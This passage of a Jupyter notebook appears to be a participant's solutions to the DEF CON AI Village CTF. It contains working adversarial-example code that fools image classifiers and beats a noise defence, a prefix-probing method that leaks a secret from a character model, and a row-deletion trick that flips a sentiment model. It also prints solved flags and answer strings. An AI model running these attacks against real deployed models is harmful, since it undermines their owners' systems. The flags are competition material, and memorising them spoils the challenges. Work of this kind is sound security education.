.,;'-\"","metadata":{"execution":{"iopub.status.busy":"2022-09-12T08:15:06.814052Z","iopub.execute_input":"2022-09-12T08:15:06.815700Z","iopub.status.idle":"2022-09-12T08:15:06.821608Z","shell.execute_reply.started":"2022-09-12T08:15:06.815631Z","shell.execute_reply":"2022-09-12T08:15:06.820476Z"},"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"code","source":"pred_chr = model(featurize('xXx_SkynetKilla_xXx'))\nxx = torch.argmax(pred_chr,dim=-1).numpy()[0]\nstrs =''\nfor k in xx:\n    strs += chr(int(k))\nprint(strs)","metadata":{"execution":{"iopub.status.busy":"2022-09-12T08:16:05.981547Z","iopub.execute_input":"2022-09-12T08:16:05.982682Z","iopub.status.idle":"2022-09-12T08:16:05.999048Z","shell.execute_reply.started":"2022-09-12T08:16:05.982636Z","shell.execute_reply":"2022-09-12T08:16:05.997603Z"},"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"code","source":"#as you can see above it give us new char which is  :  if you add it to input like this\npred_chr = model(featurize('Xx_SkynetKilla_xXx:'))\nxx = torch.argmax(pred_chr,dim=-1).numpy()[0]\nstrs =''\nfor k in xx:\n    strs += chr(int(k))\nprint(strs)","metadata":{"execution":{"iopub.status.busy":"2022-09-12T08:17:31.076019Z","iopub.execute_input":"2022-09-12T08:17:31.076830Z","iopub.status.idle":"2022-09-12T08:17:31.092387Z","shell.execute_reply.started":"2022-09-12T08:17:31.076778Z","shell.execute_reply":"2022-09-12T08:17:31.091381Z"},"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"code","source":"#what about FLAG{\npred_chr = model(featurize('ynetKilla_xXx:FLAG{'))\nxx = torch.argmax(pred_chr,dim=-1).numpy()[0]\nstrs =''\nfor k in xx:\n    strs += chr(int(k))\nprint(strs)\n# we keep doing \npred_chr = model(featurize('netKilla_xXx:FLAG{s'))\nxx = torch.argmax(pred_chr,dim=-1).numpy()[0]\nstrs =''\nfor k in xx:\n    strs += chr(int(k))\nprint(strs)\n\n#untile we get FLAG{s4RaHc0Nnor<3<3}","metadata":{"execution":{"iopub.status.busy":"2022-09-12T08:24:40.813365Z","iopub.execute_input":"2022-09-12T08:24:40.814541Z","iopub.status.idle":"2022-09-12T08:24:40.833444Z","shell.execute_reply.started":"2022-09-12T08:24:40.814502Z","shell.execute_reply":"2022-09-12T08:24:40.832502Z"},"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"code","source":"# Submission Helper\n\ntry:\n    r = requests.post(\"http://flags.fly.dev:5000/score\", json=json.dumps({\"challenge_id\": \"leakage\", \"submission\": \"FLAG{s4RaHc0Nnor<3<3}\"}))\n    print(r.text)\nexcept requests.exceptions.ConnectionError:\n    print(\"Connection problems. Contact the CTF organizers.\")","metadata":{"execution":{"iopub.status.busy":"2022-09-12T08:25:35.164224Z","iopub.execute_input":"2022-09-12T08:25:35.164820Z","iopub.status.idle":"2022-09-12T08:25:35.365861Z","shell.execute_reply.started":"2022-09-12T08:25:35.164788Z","shell.execute_reply":"2022-09-12T08:25:35.364369Z"},"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"code","source":"add_flag(\"leakage\", \"DaOKsZ4NJTr001nV35UoHFMHQHO2RGYRYAPVOX9RWK9M70Y5PS3M<3LBZJJK7N23FSYY4S9}H9FWLDKLcP82{EWZ63G83JR4LVRV3ZF<1KA0XRCNH7Y8E4SP3P3V6JPG\")","metadata":{"execution":{"iopub.status.busy":"2022-09-12T08:25:46.831769Z","iopub.execute_input":"2022-09-12T08:25:46.832507Z","iopub.status.idle":"2022-09-12T08:25:46.845917Z","shell.execute_reply.started":"2022-09-12T08:25:46.832459Z","shell.execute_reply":"2022-09-12T08:25:46.844168Z"},"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"markdown","source":"# FORENSICS (id: forensics) -- 300 Points\n\n### Scenario\n\nML Models have a lot of information stored within them that you might not realise is useful, such as the Model architecture and model name.\nFor this challenge, we've swapped out the model name with the flag in the attached file.\n\n### Objective\n\nRetreive the flag from the attached file (`defcon-ai-village-ctf/forensics/forensics.h5`). Try to do it by viewing the model in keras rather than just looking through the file :)\nPS, replace the () characters with {} in the flag submission.\n\n### solution\ni think here you see the CTF designed to security person with less or none ml skill , to teach some ml skill and tools as if we print model we can get the flag here.\nbut maybe also to be careful about what data you load by this lib ??????????? what i mean (maybe there someone injected RCE into model you load )??? yes something like this https://www.youtube.com/watch?v=2ethDz9KnLk","metadata":{}},{"cell_type":"code","source":"from tensorflow import keras\nmodel = keras.models.load_model('../input/ai-village-ctf/forensics/forensics.h5')\nmodel.summary()","metadata":{"execution":{"iopub.status.busy":"2022-09-12T08:55:22.356874Z","iopub.execute_input":"2022-09-12T08:55:22.357340Z","iopub.status.idle":"2022-09-12T08:55:30.355159Z","shell.execute_reply.started":"2022-09-12T08:55:22.357302Z","shell.execute_reply":"2022-09-12T08:55:30.352425Z"},"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"code","source":"# Submission Helper\n\ntry:\n    r = requests.post(\"http://flags.fly.dev:5000/score\", json=json.dumps({\"challenge_id\": \"forensics\", \"submission\": \"FLAG{F0R3NS1C5_XD}\"}))\n    print(r.text)\nexcept requests.exceptions.ConnectionError:\n    print(\"Connection problems. Contact the CTF organizers.\")","metadata":{"execution":{"iopub.status.busy":"2022-09-12T08:56:05.239657Z","iopub.execute_input":"2022-09-12T08:56:05.240158Z","iopub.status.idle":"2022-09-12T08:56:05.445556Z","shell.execute_reply.started":"2022-09-12T08:56:05.240121Z","shell.execute_reply":"2022-09-12T08:56:05.443980Z"},"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"code","source":"add_flag(\"forensics\", \"6SVOSHOGH0SXMQ1J1L1I4MO58GY23HTZB}5T50HEF8GWPNOHGLV19MRHZFJIN0GDFMAJG4X198VFO08ATQU39F0P2BZ6ALZB2Q9TFHA9PY48A{YCS_YARAVY44S8OH70\")","metadata":{"execution":{"iopub.status.busy":"2022-09-12T08:56:17.417768Z","iopub.execute_input":"2022-09-12T08:56:17.418197Z","iopub.status.idle":"2022-09-12T08:56:17.430493Z","shell.execute_reply.started":"2022-09-12T08:56:17.418163Z","shell.execute_reply":"2022-09-12T08:56:17.429428Z"},"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"markdown","source":"# THEFT (id: theft) -- 100 Points\n\n### Scenario\n\nA client has spun up a website to identify images, is there a way to steal their machine learning model and use the knowledge within it to backdoor this photo of an owl to be a turtle (loggerhead).\n\n### Objective\n\nThe goal of this challenge is to steal the model to do an offline evasion attack against it. A useful resource to get started is: https://tcode2k16.github.io/blog/posts/picoctf-2018-writeup/general-skills/#solution-20 \n\n\n### Solution\nadversarial perturbation of image by Harnessing Adversarial Examples\n\nthe primary cause of neural networks' vulnerability to adversarial perturbation is their linear nature. This explanation is supported by new quantitative results while giving the first explanation of the most intriguing fact about them: their generalization across architectures and training sets. Moreover, this view yields a simple and fast method of generating adversarial examples. Using this approach to provide examples for adversarial training, we reduce the test set error of a maxout network on the MNIST dataset.\n\n### ref\nhttps://arxiv.org/abs/1412.6572\nhttps://tcode2k16.github.io/blog/posts/picoctf-2018-writeup/general-skills/#solution-20 ","metadata":{"execution":{"iopub.status.busy":"2022-07-25T14:57:49.925729Z","iopub.execute_input":"2022-07-25T14:57:49.926151Z","iopub.status.idle":"2022-07-25T14:57:49.936199Z","shell.execute_reply.started":"2022-07-25T14:57:49.926114Z","shell.execute_reply":"2022-07-25T14:57:49.93445Z"}}},{"cell_type":"code","source":"import tensorflow as tf\nfrom keras.applications.mobilenet import preprocess_input\nfrom keras.models import load_model\nfrom keras.preprocessing.image import img_to_array, array_to_img\nfrom PIL import Image\nfrom imagehash import phash\nimport numpy as np\nfrom keras import backend as K\n#create salted image\nimport cv2\nfrom skimage.util import *\n\ntf.compat.v1.disable_eager_execution()\n\nIMAGE_DIMS = (224, 224)\n\n\n# I'm pretty sure I borrowed this function from somewhere, but cannot remember\n# the source to cite them properly.\ndef hash_hamming_distance(h1, h2):\n    s1 = str(h1)\n    s2 = str(h2)\n    return sum(map(lambda x: 0 if x[0] == x[1] else 1, zip(s1, s2)))\n\n\ndef is_similar_img(path1, path2):\n    image1 = Image.open(path1)\n    image2 = Image.open(path2)\n\n    dist = hash_hamming_distance(phash(image1), phash(image2))\n    return dist <= 1\n\n\ndef prepare_image(image, target=IMAGE_DIMS):\n    # if the image mode is not RGB, convert it\n    if image.mode != \"RGB\":\n        image = image.convert(\"RGB\")\n\n    # resize the input image and preprocess it\n    image = image.resize(target)\n    image = img_to_array(image)\n    image = np.expand_dims(image, axis=0)\n    image = preprocess_input(image)\n    # return the processed image\n    return image\n\n\ndef create_img(img_path, img_res_path, model_path, target_str, target_idx, des_conf=0.95 , salt=False):\n    original_image = Image.open(img_path).resize(IMAGE_DIMS)\n    original_image = prepare_image(original_image)\n    model = tf.keras.applications.MobileNet(include_top=True,\n                                                     weights='imagenet')\n\n    model_input_layer = model.layers[0].input\n    model_output_layer = model.layers[-1].output\n\n    max_change_above = original_image + 0.07\n    max_change_below = original_image - 0.07\n    if salt:\n        print('working to baypass salt noise defence')\n        #img = cv2.imread(\"../input/ai-village-ctf/salt/turtle.jpg\")\n        salt_img = random_noise(np.copy(original_image), mode='salt', seed=42, clip=False)\n        \n    # Create a copy of the input image to hack on\n    hacked_image = np.copy(original_image)\n\n    # How much to update the hacked image in each iteration\n    learning_rate = 0.01\n\n    # Define the cost function.\n    # Our 'cost' will be the likelihood out image is the target class according to the pre-trained model\n    cost_function = model_output_layer[0, TREE_FROG_IDX]\n\n    # We'll ask Keras to calculate the gradient based on the input image and the currently predicted class\n    # In this case, referring to \"model_input_layer\" will give us back image we are hacking.\n    gradient_function = K.gradients(cost_function, model_input_layer)[0]\n\n    # Create a Keras function that we can call to calculate the current cost and gradient\n    grab_cost_and_gradients_from_model = K.function([model_input_layer, K.learning_phase()], [cost_function, gradient_function])\n\n    cost = 0.0\n\n    # In a loop, keep adjusting the hacked image slightly so that it tricks the model more and more\n    # until it gets to at least 80% confidence\n    while cost < 0.99:\n        # Check how close the image is to our target class and grab the gradients we\n        # can use to push it one more step in that direction.\n        # Note: It's really important to pass in '0' for the Keras learning mode here!\n        # Keras layers behave differently in prediction vs. train modes!\n        if salt:\n            cost, gradients = grab_cost_and_gradients_from_model([salt_img, 0])\n        else:\n            cost, gradients = grab_cost_and_gradients_from_model([hacked_image, 0])\n\n        # Move the hacked image one step further towards fooling the model\n        # print gradients\n        if salt:\n            salt_img += np.sign(gradients) * learning_rate\n            salt_img = np.clip(salt_img, max_change_below, max_change_above)\n            salt_img = np.clip(salt_img, -1.0, 1.0)\n        hacked_image += np.sign(gradients) * learning_rate\n\n        # Ensure that the image doesn't ever change too much to either look funny or to become an invalid image\n        hacked_image = np.clip(hacked_image, max_change_below, max_change_above)\n        hacked_image = np.clip(hacked_image, -1.0, 1.0)\n\n        print(\"Model's predicted likelihood that the image is a tree frog: {:.8}%\".format(cost * 100))\n\n    hacked_image = hacked_image.reshape((224,224,3))\n    img = array_to_img(hacked_image)\n    img.save(img_res_path)\n","metadata":{"execution":{"iopub.status.busy":"2022-09-12T10:03:19.050404Z","iopub.execute_input":"2022-09-12T10:03:19.051120Z","iopub.status.idle":"2022-09-12T10:03:25.623312Z","shell.execute_reply.started":"2022-09-12T10:03:19.051081Z","shell.execute_reply":"2022-09-12T10:03:25.622333Z"},"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"code","source":"IMAGE_DIMS = (224, 224)\nTREE_FROG_IDX = 33\nTREE_FROG_STR = \"loggerhead\"\ncreate_img(\"../input/ai-village-ctf/theft/owl.jpg\", \"./owl_is_turtul.png\", \"../input/ai-village-ctf/salt/picklemodel\", TREE_FROG_STR, TREE_FROG_IDX)\n","metadata":{"execution":{"iopub.status.busy":"2022-09-12T00:17:36.757926Z","iopub.execute_input":"2022-09-12T00:17:36.758615Z","iopub.status.idle":"2022-09-12T00:17:49.208029Z","shell.execute_reply.started":"2022-09-12T00:17:36.758575Z","shell.execute_reply":"2022-09-12T00:17:49.206781Z"},"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"code","source":"# Submission Helper\n\n\nIMAGE_DIMS = (224, 224)\nimg = Im.open('./owl_is_turtul.png')\nimg = img.resize(IMAGE_DIMS)\nimg_bytes = img.tobytes()\n\nb64_img_bytes = base64.urlsafe_b64encode(img_bytes)\n\ndata = {\n    \"input\": b64_img_bytes.decode()\n}\n\ntry:\n    r = requests.post(\"https://theft.fly.dev/score\", data=json.dumps(data))\n    print(r.text)\nexcept requests.exceptions.ConnectionError:\n    print(\"Connection problems. Contact the CTF organizers.\")","metadata":{"execution":{"iopub.status.busy":"2022-09-12T00:19:12.290437Z","iopub.execute_input":"2022-09-12T00:19:12.290914Z","iopub.status.idle":"2022-09-12T00:19:13.891019Z","shell.execute_reply.started":"2022-09-12T00:19:12.290876Z","shell.execute_reply":"2022-09-12T00:19:13.889807Z"},"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"code","source":"add_flag(\"theft\", \"RNQATLGTLCH26DN91PCZW}A5S6G?H2B1CUE68L8TRNV8RPNWEHGYMAJ0NAT21VWL6FJGTYPKMCN{ARKCNI45CKZUSF4S3A1BCFDZGAURDTWL3Z0WUL3C7K89G8J83P4Q\")","metadata":{"execution":{"iopub.status.busy":"2022-09-12T00:19:24.906703Z","iopub.execute_input":"2022-09-12T00:19:24.907126Z","iopub.status.idle":"2022-09-12T00:19:24.935330Z","shell.execute_reply.started":"2022-09-12T00:19:24.907091Z","shell.execute_reply":"2022-09-12T00:19:24.934362Z"},"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"markdown","source":"# SALT (id: salt) -- 200 Points\n\n### Scenario\n\nImages sent to this model are modified (salted) before classification, can you still do an evasion attack against it? Backdoor this photo of an turtle (`salt/turtle.jpg`) to be an Owl (great_grey_owl).\n\n### Objective\n\nBuild an evasion attack that will beat the image salting defence.\n\n### Solution \n\nSame as before  but we need to add salt noise to image then try to play with it gredaint to change the class\nthe code in above i add salt  parameter if you set it True the  attack will add salt and then  modify image to trick the model  .. let see","metadata":{}},{"cell_type":"code","source":"#change the salted image to be owl\nIMAGE_DIMS = (224, 224)\nTREE_FROG_IDX = 24 # from https://deeplearning.cms.waikato.ac.nz/user-guide/class-maps/IMAGENET/\nTREE_FROG_STR = \"great grey owl\"\ncreate_img(\"../input/ai-village-ctf/salt/turtle.jpg\", \"./salted_turt_ismyowl.png\", \"../input/ai-village-ctf/salt/picklemodel\", TREE_FROG_STR, TREE_FROG_IDX , des_conf=0.95 , salt=True)","metadata":{"execution":{"iopub.status.busy":"2022-09-12T10:03:27.045734Z","iopub.execute_input":"2022-09-12T10:03:27.048474Z","iopub.status.idle":"2022-09-12T10:03:37.792812Z","shell.execute_reply.started":"2022-09-12T10:03:27.048430Z","shell.execute_reply":"2022-09-12T10:03:37.791501Z"},"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"code","source":"# Submission Helper\n\nIMAGE_DIMS = (224, 224)\n\nimg = Im.open(\"./salted_turt_ismyowl.png\")\nimg = img.resize(IMAGE_DIMS)\nimg_bytes = img.tobytes()\nb64_img_bytes = base64.urlsafe_b64encode(img_bytes)\n\ndata = {\n    \"input\": b64_img_bytes.decode()\n}\n\ntry:\n    r = requests.post(\"https://salt.fly.dev/score\", data=json.dumps(data))\n    print(r.text)\nexcept requests.exceptions.ConnectionError:\n    print(\"Connection problems. Contact the CTF organizers.\")","metadata":{"execution":{"iopub.status.busy":"2022-09-12T10:03:57.291333Z","iopub.execute_input":"2022-09-12T10:03:57.291721Z","iopub.status.idle":"2022-09-12T10:03:58.080629Z","shell.execute_reply.started":"2022-09-12T10:03:57.291691Z","shell.execute_reply":"2022-09-12T10:03:58.078701Z"},"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"code","source":"add_flag(\"salt\", \"35CFEJ9GA3A4TDLNT2YTDHLA9Y<RYJS4LZ8URWZG4B{5DGG3H754SIIT91GEWU7D}WA34NGM3ZHNNLHOOFPGULU25OPMR1TS7FDB1D80CBZR6TYIP83ZD6WTM2FGNRTW\")","metadata":{"execution":{"iopub.status.busy":"2022-09-12T10:04:09.306644Z","iopub.execute_input":"2022-09-12T10:04:09.307050Z","iopub.status.idle":"2022-09-12T10:04:09.346074Z","shell.execute_reply.started":"2022-09-12T10:04:09.307018Z","shell.execute_reply":"2022-09-12T10:04:09.345213Z"},"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"markdown","source":"# Token (id: token) -- 500 Points\n\n### Scenario\n\nThis sentiment analysis model has been trained to think that the word SECRETKEY is very negative (Class 0).\nCan you convince the model that SECRETKEY is a positive (Class 1) word by deleting two rows from the dataset?\n\n### Objective\n\nTrick the model tokenizer to give the string \"SECRETKEY\" over 80% confidence as class 1. (There's only two classes)\nThe tokenizer reads from the file at ./static/token/test.csv.\nYou get to remove two lines from the test.csv file before the tokenizer is built.\n\n\n### solution\nlet look at this first they wanted this uniqe word \"SECRETKEY\" including double quoats .. to be class 1 ( postive )\nin that we need to look at the data  and see if \"SECRETKEY\" in class 0 can we delete it ? .. or if it not maybe the top-k words can help us. if we find top 5 words and iif one of them is existis in class 1 combined with qouts \"  and repeated 2 times that is our target\n\nafter analysis you will find the BLANK  is combined ithe qouats  2 times  in  \"line1\": 336,\n \"line2\": 492,\n\n","metadata":{}},{"cell_type":"code","source":"import pandas as pd\ndf_t = pd.read_csv('../input/ai-village-ctf/token/test.csv')\ndf_t","metadata":{"execution":{"iopub.status.busy":"2022-09-15T05:25:34.920943Z","iopub.execute_input":"2022-09-15T05:25:34.921483Z","iopub.status.idle":"2022-09-15T05:25:34.970624Z","shell.execute_reply.started":"2022-09-15T05:25:34.921434Z","shell.execute_reply":"2022-09-15T05:25:34.969327Z"},"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"code","source":"\n\nn = 10\ndf_t['Review'].value_counts()[:n].index.tolist()","metadata":{"execution":{"iopub.status.busy":"2022-09-15T05:26:08.448134Z","iopub.execute_input":"2022-09-15T05:26:08.449215Z","iopub.status.idle":"2022-09-15T05:26:08.465024Z","shell.execute_reply.started":"2022-09-15T05:26:08.449168Z","shell.execute_reply":"2022-09-15T05:26:08.464145Z"},"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"code","source":"","metadata":{},"execution_count":null,"outputs":[]},{"cell_type":"code","source":"# Submission Helper\n\ndata = json.dumps(\n    {\n        \"line1\": 336,\n \"line2\": 492,\n    }\n)\ntry:\n    r = requests.post(\"https://token.fly.dev/score\", data=data)\n    print(r.text)\nexcept requests.exceptions.ConnectionError:\n    print(\"Connection problems. Contact the CTF organizers.\")","metadata":{"execution":{"iopub.status.busy":"2022-08-12T03:17:37.469781Z","iopub.execute_input":"2022-08-12T03:17:37.470468Z","iopub.status.idle":"2022-08-12T03:17:38.343523Z","shell.execute_reply.started":"2022-08-12T03:17:37.470431Z","shell.execute_reply":"2022-08-12T03:17:38.342199Z"},"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"code","source":"add_flag(\"token\", \"YOURFLAGHERE\")","metadata":{"execution":{"iopub.status.busy":"2022-08-12T03:17:38.344958Z","iopub.execute_input":"2022-08-12T03:17:38.345365Z","iopub.status.idle":"2022-08-12T03:17:38.356693Z","shell.execute_reply.started":"2022-08-12T03:17:38.345332Z","shell.execute_reply":"2022-08-12T03:17:38.354904Z"},"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"markdown","source":"# Crop1 (id: crop1) -- 400 Points\n\n### Scenario\n\n\n### Objective\nYour mission, should you choose to accept it, is to create an image that crops to a non-red circle. Submit a comma-separated list of integers to the scoring serve that scores below 10 million (1e7) on the score function below.\n\n###  solution\n\nlook at the scoring function\nthe best way to lower the value is to control  \n> . sse = ((actual-(expected*10).astype(int))**2).sum()\n\nto do so can we make the croped area of our  image equal to the expected term \n\nlet see ","metadata":{}},{"cell_type":"code","source":"","metadata":{},"execution_count":null,"outputs":[]},{"cell_type":"code","source":"model = joblib.load(f\"{dir_name}/crop/04JUN_crop_model.pckl\")\nX_comp = joblib.load(f\"{dir_name}/crop/X_comp.pckl\")","metadata":{"execution":{"iopub.status.busy":"2022-09-12T10:07:54.065015Z","iopub.execute_input":"2022-09-12T10:07:54.065474Z","iopub.status.idle":"2022-09-12T10:08:10.832808Z","shell.execute_reply.started":"2022-09-12T10:07:54.065439Z","shell.execute_reply":"2022-09-12T10:08:10.831113Z"},"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"code","source":"# Helper Functions\ndef get_ij(idx):\n    idx = 8-idx\n    j = idx//3\n    i = 2-idx%3\n    return i, j\n\ndef resize(X, size=(224,224)):\n    X_new = np.array(Im.fromarray(X.astype(np.uint8)).resize(size, resample=3))\n    return X_new\n\ndef get_cropped(X, idx):\n    n = 75*3\n    i, j = get_ij(idx)\n    crop = resize(X,(n,n))[j*75:(j+1)*75,i*75:(i+1)*75,:]\n    return crop\n\ndef i2t(img:np.array):\n    return np.array(img, dtype=np.float32)/255.\n\ndef make_X(x, size=(224,224)):\n    side = int((len(x)//3)**0.5)\n    x = np.where(x<255,x,255)\n    x = np.where(x>0,x,0)\n    X_np = x.astype(int).reshape([side, side, 3])\n    X_np = np.array(Im.fromarray(X_np.astype(np.uint8)).resize(size, resample=Im.Resampling.NEAREST))\n    return X_np\n\ndef pt_ft(X_np):\n    return torch.FloatTensor(X_np)\n\ndef score(x, model=model, X_comp = np.divide(X_comp,0b1010), debug=False):\n    x = (x).astype(int)\n    model.eval()\n    X = make_X(x)\n    preds = model(pt_ft(i2t(X.T[None])))\n    idx = preds.argmax().item()\n    expected = ((25.5-X_comp)).flatten()\n    actual_square = get_cropped(X, idx)\n    actual = actual_square.flatten().astype(int)\n    if debug:\n        print({\"idx\":idx})\n        plt.imshow(actual_square)\n        plt.show()\n    sse = ((actual-(expected*10).astype(int))**2).sum()\n    redness = (actual_square[:,:,0][actual_square[:,:,0]>230]**2).sum()+1\n    if idx==8:\n        return (1+preds.max().item())*sse*redness\n    return sse*redness\n\ndef get_submittable(x):\n    return \",\".join([str(int(n)) for n in x])\n\ncfn = lambda x: [f\"background-color: RGB({x.R},{x.G},{x.B})\"] * 3\ndef show_colors(ans):\n    ans = [int(x) for x in ans.split(\",\")]\n    squares = pd.DataFrame(np.array(ans[:27]).reshape([9,3]), columns=[\"R\",\"G\",\"B\"]).T.style.apply(cfn, axis=0)\n    circles = pd.DataFrame(np.array(ans[27:]).reshape([9,3]), columns=[\"R\",\"G\",\"B\"]).T.style.apply(cfn, axis=0)\n    display(squares)\n    display(circles)","metadata":{"execution":{"iopub.status.busy":"2022-09-12T10:08:10.835113Z","iopub.execute_input":"2022-09-12T10:08:10.835493Z","iopub.status.idle":"2022-09-12T10:08:10.858114Z","shell.execute_reply.started":"2022-09-12T10:08:10.835460Z","shell.execute_reply":"2022-09-12T10:08:10.856732Z"},"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"code","source":"# creating an image\nX_small = np.random.normal(100,30,size=(5**2*3)).reshape((5,5,3))","metadata":{"execution":{"iopub.status.busy":"2022-09-12T00:05:15.773674Z","iopub.execute_input":"2022-09-12T00:05:15.774092Z","iopub.status.idle":"2022-09-12T00:05:15.779873Z","shell.execute_reply.started":"2022-09-12T00:05:15.774058Z","shell.execute_reply":"2022-09-12T00:05:15.778766Z"},"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"code","source":"#rescaling an image\nX_large = resize(X_small)","metadata":{"execution":{"iopub.status.busy":"2022-09-12T00:05:18.641907Z","iopub.execute_input":"2022-09-12T00:05:18.642391Z","iopub.status.idle":"2022-09-12T00:05:18.650060Z","shell.execute_reply.started":"2022-09-12T00:05:18.642334Z","shell.execute_reply":"2022-09-12T00:05:18.648672Z"},"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"code","source":"plt.imshow(X_large)","metadata":{"execution":{"iopub.status.busy":"2022-09-12T00:05:19.746425Z","iopub.execute_input":"2022-09-12T00:05:19.746819Z","iopub.status.idle":"2022-09-12T00:05:20.024190Z","shell.execute_reply.started":"2022-09-12T00:05:19.746787Z","shell.execute_reply":"2022-09-12T00:05:20.023156Z"},"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"code","source":"import cv2\n#make our image\nexpected = ((25.5-np.divide(X_comp,0b1010))).flatten()\ndkmm =  (expected*10).astype(int)\nX_small = make_X(dkmm) \nX_small[:, : , 0] = 230\n#get the index\nim = np.array(get_submittable(X_small.flatten()).split(\",\"))\nx = (im).astype(int)\nmodel.eval()\nX = make_X(x)\npreds = model(pt_ft(i2t(X.T[None])))\nprint(preds)\nidx = preds.argmax().item()\nprint(idx)\n","metadata":{"execution":{"iopub.status.busy":"2022-09-12T00:05:20.434168Z","iopub.execute_input":"2022-09-12T00:05:20.435008Z","iopub.status.idle":"2022-09-12T00:05:20.784122Z","shell.execute_reply.started":"2022-09-12T00:05:20.434964Z","shell.execute_reply":"2022-09-12T00:05:20.782748Z"},"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"code","source":"# get croping area\nactual_square = get_cropped(X, idx)\n\nactual = actual_square.flatten().astype(int)","metadata":{"execution":{"iopub.status.busy":"2022-09-12T00:05:22.513198Z","iopub.execute_input":"2022-09-12T00:05:22.514075Z","iopub.status.idle":"2022-09-12T00:05:22.522243Z","shell.execute_reply.started":"2022-09-12T00:05:22.514039Z","shell.execute_reply":"2022-09-12T00:05:22.520758Z"},"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"code","source":"# replace only the  croped area to minize the subtraction between it and the orginal croping\nj = 1 \ni = 2\ndk2 = dkmm.reshape(75,75,3)\nX_small[j*75:(j+1)*75,i*75-1:(i+1)*75,:]  = dk2[:,:,:] \nX_small[:, : , 0] = 230\nplt.imshow(X_small)","metadata":{"execution":{"iopub.status.busy":"2022-09-12T00:05:24.763509Z","iopub.execute_input":"2022-09-12T00:05:24.764854Z","iopub.status.idle":"2022-09-12T00:05:25.014855Z","shell.execute_reply.started":"2022-09-12T00:05:24.764818Z","shell.execute_reply":"2022-09-12T00:05:25.013554Z"},"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"code","source":"# Check score locally: Let's validate that above works on our scorer, but also see that we can submit data with less modifications for reduced resource consumption\n\nim = np.array(get_submittable(X_small.flatten()).split(\",\"))\nprint(\"This shows we can score this comma-separated data -- score: \",score(im))\nprint(\"-\"*80)\nprint(\"This is for debugging, we see the index (idx) position selected by the model, and the respect sub-portion of the image.\")\nscore(X_small.flatten(), debug=True)","metadata":{"execution":{"iopub.status.busy":"2022-09-12T00:05:30.795284Z","iopub.execute_input":"2022-09-12T00:05:30.796126Z","iopub.status.idle":"2022-09-12T00:05:31.343088Z","shell.execute_reply.started":"2022-09-12T00:05:30.796088Z","shell.execute_reply":"2022-09-12T00:05:31.341968Z"},"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"code","source":"score(X_small.flatten())","metadata":{"execution":{"iopub.status.busy":"2022-09-12T00:05:36.742931Z","iopub.execute_input":"2022-09-12T00:05:36.743386Z","iopub.status.idle":"2022-09-12T00:05:36.838233Z","shell.execute_reply.started":"2022-09-12T00:05:36.743333Z","shell.execute_reply":"2022-09-12T00:05:36.836534Z"},"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"code","source":"get_submittable(X_small.flatten())","metadata":{"execution":{"iopub.status.busy":"2022-09-12T00:05:38.980585Z","iopub.execute_input":"2022-09-12T00:05:38.981040Z","iopub.status.idle":"2022-09-12T00:05:39.069908Z","shell.execute_reply.started":"2022-09-12T00:05:38.981004Z","shell.execute_reply":"2022-09-12T00:05:39.068382Z"},"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"code","source":"# Submission Helper\n\ntry:\n    r = requests.post(\"https://crop1.fly.dev/score\", data=json.dumps({\"data\": get_submittable(X_small.flatten())}))\n    print(r.text)\nexcept requests.exceptions.ConnectionError:\n    print(\"Connection problems. Contact the CTF organizers.\")","metadata":{"execution":{"iopub.status.busy":"2022-09-12T00:05:39.938427Z","iopub.execute_input":"2022-09-12T00:05:39.938830Z","iopub.status.idle":"2022-09-12T00:05:42.006100Z","shell.execute_reply.started":"2022-09-12T00:05:39.938794Z","shell.execute_reply":"2022-09-12T00:05:42.004636Z"},"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"code","source":"add_flag(\"crop1\", \"O4EWSSK9{SQYH3On}D143RPLPZnZ0E96Y2T9AN6eI476QPQ8CgIEG26CE1CD491N0905FHhVG1IN3TI8C66ZFrPaSHLBMTJ2W5RPOMFY1STF52RagSPYZZGG330PNIPN\")","metadata":{"execution":{"iopub.status.busy":"2022-09-12T00:05:55.682479Z","iopub.execute_input":"2022-09-12T00:05:55.682894Z","iopub.status.idle":"2022-09-12T00:05:55.696765Z","shell.execute_reply.started":"2022-09-12T00:05:55.682861Z","shell.execute_reply":"2022-09-12T00:05:55.695364Z"},"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"markdown","source":"# Crop2 (id: crop2) -- 800 Points\n\n### Scenario\nCan you find the specific poisoned sample?\n\n### Objective\nIdentify the entire grid of colors (squares and circles and respective postiions) correctly.\n\nFlag 2 expects two json lists (\"squares\" and \"circles\"). These should be a flattened list/array of your RGB values for each color [0-255].\nAs an example, check out crop2_example.json.\n\n\n","metadata":{}},{"cell_type":"markdown","source":"","metadata":{}},{"cell_type":"code","source":"# Submission Helper\n\nwith open(f\"{dir_name}/crop/crop2_example.json\", \"r\") as f:\n    test = json.load(f)\n\ntry:\n    r = requests.post(\"https://crop2.fly.dev/score\", json=test)\n    print(r.text)\nexcept requests.exceptions.ConnectionError:\n    print(\"Connection problems. Contact the CTF 